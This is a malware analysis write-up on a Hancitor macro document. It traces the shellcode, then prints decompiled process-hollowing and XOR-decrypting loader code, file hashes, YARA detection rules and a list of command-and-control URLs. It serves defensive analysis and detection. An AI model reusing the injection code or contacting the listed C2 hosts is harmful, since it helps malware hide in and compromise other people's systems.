Previous analysis:

We are presented with a Word document that has macros. The VBA code for the macros is obfuscated but we can clearly see that it is using some interesting Win32 API calls like VirtualAlloc and CallWindowProc, which later renames.

Thus, we can just set a breakpoint on the renamed CallWindowProc function to trace shellcode. (This is explained more in depth by the Minerva guys).


Shellcode

The shellcode first resolves LdrLoadDLL:

Then resolves Kernel32.dll

Resolves ExpandEnvironmentStringsA:

And calls it with %TMP%\\bg618.exe.

Then resolves CreateFileA, VirtualAlloc, VirtualFree and CreateWindowProcA, ReadFile, CloseHandle and stores them on the stack.

Now calls are made:

CreateFileA(...)  
GetFileSize(...)  
VirtualAlloc(...)  
ReadFile(...)  
CloseHandle(...)  

So it is allocating some file in memory. After that it tries to locate in memory the magic constant 0x414C4F50 (0x504F4C41 if ordered in big endian).

This constant is a signal for payload start and can be found here:

Just like older Hancitor versions it uses a XOR key to decrypt the actual payload.

But unlike old Hancitor versions the XOR operation does not yield a valid PE file, although we can start to see some patterns on the raw data.

Just after the XOR loop there is a call to a function that receives a pointer to this memory zone as it's sole argument. Do you wanna bet on what it does?


Payload

Dumping the file from memory gives us access to the Hancitor payload.

File hashes:

CRC32: D148AE66  
MD5: 621F2ED2D8041859E9274DE60DC8C38D  
SHA-1: 39B2495BEA07828430E574D488C2E2FB1BC57303  

VirusTotal report

Payload analysis

I suspected payload was ending prematurely (before contacting C2). This was backed up by the fact that the payload does not import any WININET functions. So I did set up a breakpoint on CreateProcess (it seemed like a good candidate to start with).

If we hit run we land in a function that looks like the following:

int __usercall inject_payload@<eax>(int a1@<esi>, LPCVOID lpBuffer)  
{
  HMODULE ntdll_handle; // eax@1
  FARPROC unmapViewOfSection; // edi@1
  int result; // eax@1
  char *control; // esi@2
  signed int i; // edi@4
  HMODULE kernel_dll; // eax@8
  FARPROC GetThreadContextPtr; // eax@8
  int size; // [sp+8h] [bp-430h]@2
  struct _PROCESS_INFORMATION ProcessInformation; // [sp+14h] [bp-424h]@1
  struct _STARTUPINFOA StartupInfo; // [sp+24h] [bp-414h]@1
  CHAR Filename; // [sp+68h] [bp-3D0h]@1
  CONTEXT Context; // [sp+16Ch] [bp-2CCh]@1

  ntdll_handle = LoadLibraryW(L"ntdll.dll");
  unmapViewOfSection = GetProcAddress(ntdll_handle, "NtUnmapViewOfSection");
  GetModuleFileNameA(0, &Filename, 0x104u);
  FindResourceExW(0, 0, 0, 0);
  RtlZeroMemory(&StartupInfo, 68);
  StartupInfo.cb = 68;
  Context.ContextFlags = 65543;
  CreateProcessA(0, &Filename, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation);
  result = FlushViewOfFile(0, 0);
  if ( *lpBuffer == 0x5A4D )
  {
    size = a1;
    control = lpBuffer + *(lpBuffer + 0xF);
    if ( *control == 'EP' && *lpBuffer != 1 )   // Probably checking for the MZ header
    {
      (unmapViewOfSection)(ProcessInformation.hProcess, *(control + 13), size);
      VirtualAllocEx(ProcessInformation.hThread, *(control + 13), *(control + 20), 0x3000u, 0x40u);
      i = 0;
      if ( *(control + 3) > 0u )
      {
        do
        {
          if ( !i )
            WriteProcessMemory(ProcessInformation.hThread, *(control + 13), lpBuffer, *(control + 21), 0);
          WriteProcessMemory(
            ProcessInformation.hThread,
            (*(control + 13) + *(lpBuffer + 40 * i + *(lpBuffer + 15) + 260)),
            lpBuffer + *(lpBuffer + 40 * i + *(lpBuffer + 15) + 268),
            *(lpBuffer + 40 * i + *(lpBuffer + 15) + 264),
            0);                                 // This is one odd way to write proc mem
          ++i;
        }
        while ( i < *(control + 3) );
      }
      kernel_dll = LoadLibraryA("Kernel32.dll");
      GetThreadContextPtr = GetProcAddress(kernel_dll, "GetThreadContext");
      (GetThreadContextPtr)(ProcessInformation.dwProcessId);
      Context.Eax = *(control + 13) + *(control + 10);
      GetDriveTypeA(0);
      SetThreadContext(ProcessInformation.hThread, &Context);
      VirtualUnlock(0, 0);
      result = ResumeThread(ProcessInformation.hThread);
    }
  }
  return result;
}

The CreateProcessA (with the suspended flag), NtUnmapViewOfSection, VirtualAllocEx (with W/X flags), WriteProcessMemory, GetThreadContext, SetThreadContext and ResumeThread calls (and in that particular order) give away the sample is doing process hollowing.

To what is it doing process hollowing is not very important, we can dump the injected buffer to a file instead. The address of the written buffer can recovered from the eax register after the VirtualAlloc call.

As we can see it already has a PE header but no content (all zeroed lower down the section). At the end of the WriteProcessMemory loop should be fully written, so we can breakpoint there and dump the memory map.

Further considerations

Even easier, if function is statically analyzed we can realise that the injected buffer is passed to the function as the second parameter, so we can also grab it from there.

Next we can investigate how this function is called. There is only one calling function - WinMain.

int __stdcall __noreturn WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)  
{
  LPCVOID _payloadBuf; // esi@1
  signed int i; // ecx@6
  signed int i_1; // ecx@11

  _payloadBuf = 0;
  while ( 1 )
  {
    GetACP();
    if ( DefineDosDeviceA(_payloadBuf, "Gf34gvdfgsdf", 0) )
      DebugSetProcessKillOnExit(0);
    _payloadBuf = _payloadBuf + 1;
    if ( _payloadBuf >= 150000 )
    {
      if ( perfCheck() )
      {
        copyRscToBuffer();                      // Copies payload to payloadBuffer
        i = 0;
        if ( rscSize )
        {
          do
          {
            if ( i >= 0 )
            {
              _payloadBuf = payloadBuffer;
              *(_payloadBuf + i) ^= XOR_Key_A[i % 10];
            }
            ++i;
          }
          while ( i < rscSize );
        }
        inject_payload(_payloadBuf, payloadBuffer);
      }
      else
      {
        copyRscToBuffer();                      // Copies payload to payloadBuffer
        i_1 = 0;
        if ( rscSize )
        {
          do
          {
            if ( i_1 >= 0 )
            {
              _payloadBuf = payloadBuffer;
              *(_payloadBuf + i_1) ^= XOR_Key_B[i_1 % 10];
            }
            ++i_1;
          }
          while ( i_1 < rscSize );
        }
        inject_payload(_payloadBuf, payloadBuffer);
      }
      ExitProcess(0);
    }
  }
}

From this function we can gather that payload is stored as a PE file resource and then XORed against a hardcoded value. It also has some performance checking and based on that it decides wether to use a XOR key or another. Funny thing is, both referenced XOR keys are actually the same for this sample.

.rdata:0040B348 ; char XOR_Key_A[]
.rdata:0040B348 XOR_Key_A       db 'H'                  ; DATA XREF: WinMain(x,x,x,x)+264r
.rdata:0040B349 aEwrtwewethgser db 'EWRTWEWETHGSER',0
.rdata:0040B358 ; char XOR_Key_B[]
.rdata:0040B358 XOR_Key_B       db 'H'                  ; DATA XREF: WinMain(x,x,x,x)+2B4r
.rdata:0040B359 aEwrtwewethgs_0 db 'EWRTWEWETHGSER',0

2nd stage payload

File hashes:

CRC32: 49E29FF0  
MD5: E84A1E415D68158CE708BAD64C8C6D57  
SHA-1: BE802B97764B9DD46002F5B5BB6929EF385CD5FB  

We are confronted with yet another PE file, but don't fear, this will be quite easy.

In this new PE file we can see configuration is in plaintext.

So that means we should be able to extract them with a simple URL regex.


Yara rule

With this knowledge, plus the knowledge from the previous analysis, we can build a Yara rule:

rule HancitorOLE_A  
{
    meta:
        author = "FDD @ Cuckoo Sandbox"
        description = "Hancitor infected OLE document. A variant."

    strings:
        // Hancitor infected documents show this pattern
        $s1 = /[A-Z]{8}\x08\x00/
        // CFBF header
        $head = { D0 CF 11 E0 A1 B1 1A E1 }
        // The document has macros
        $macro = { 00 41 74 74 72 69 62 75 74 00 }

    condition:
        $head at 0 and $macro and $s1
}

rule HancitorOLE_B  
{
    meta:
        author = "FDD @ Cuckoo Sandbox"
        description = "Hancitor infected OLE document. B variant."

    strings:
        // Hancitor infected documents show this pattern
        $s1 = /[A-Z]{4}\x08\x00/
        // CFBF header
        $head = { D0 CF 11 E0 A1 B1 1A E1 }
        // The document has macros
        $macro = { 00 41 74 74 72 69 62 75 74 00 }

    condition:
        $head at 0 and $macro and $s1    
}

And we can use this Yara rule to categorize everthing labeled as Hancitor on VirusTotal.

After a little scripting we are presented with the following:

Unmatched: 362 Matched: 786  
Rate: 0.68  
Extracted unique URLs:  
['http://mitonscehem.ru/ls5/forum.php', 'http://cothenperci.ru/ls5/forum.php', 'http://pehedforhers.ru/ls5/gate.php', 'http://bukettiro.ru/ls5/forum.php', 'http://gonynamo.ru/ls5/gate.php', 'http://gejustandgu.ru/ls5/gate.php', 'http://durotagran.com/ls5/forum.php', 'http://hesuldkedhin.com/ls5/gate.php', 'http://tofrentaleft.ru/ls5/gate.php', 'http://hatmolores.ru/ls5/forum.php', 'http://tersefehow.ru/ls5/forum.php', 'http://lighfaransit.ru/ls5/gate.php', 'http://mehawronjus.com/ls5/gate.php', 'http://vertoldrighbi.com/ls5/forum.php', 'http://sinforonhad.com/ls5/gate.php', 'http://sohedtrofla.ru/ls5/gate.php', 'http://golycamuch.com/ls5/gate.php', 'http://lacledhesleft.ru/ls5/forum.php', 'http://nesuphinhem.com/ls5/forum.php', 'http://hadintratsof.ru/ls5/gate.php', 'http://hectanarkin.ru/ls5/forum.php', 'http://leftwasssitne.ru/ls5/forum.php', 'http://parmeughlet.ru/ls5/forum.php', 'http://cyrofketfi.ru/ls5/gate.php', 'http://tinhorecrin.com/ls5/forum.php', 'http://madingtoftling.com/ls5/forum.php', 'http://verarsedme.ru/ls5/forum.php', 'http://rendingrolhem.com/ls5/gate.php', 'http://rontoftrywass.com/ls5/forum.php', 'http://forpartinsa.ru/ls5/gate.php', 'http://hoentoftfa.com/ls5/gate.php', 'http://solohaly.ru/ls5/forum.php', 'http://downcalevengrigh.ru/ls5/gate.php', 'http://notladorin.ru/ls5/gate.php', 'http://rewredsuca.ru/ls5/forum.php', 'http://herttituldru.ru/ls5/forum.php', 'http://rebuserewhen.com/ls5/forum.php', 'http://ughletarrew.com/ls5/gate.php', 'http://retwittolddint.ru/ls5/gate.php', 'http://wasandhihem.ru/ls5/gate.php', 'http://wittoftrebding.ru/ls5/forum.php', 'http://wronlacbeher.ru/ls5/gate.php']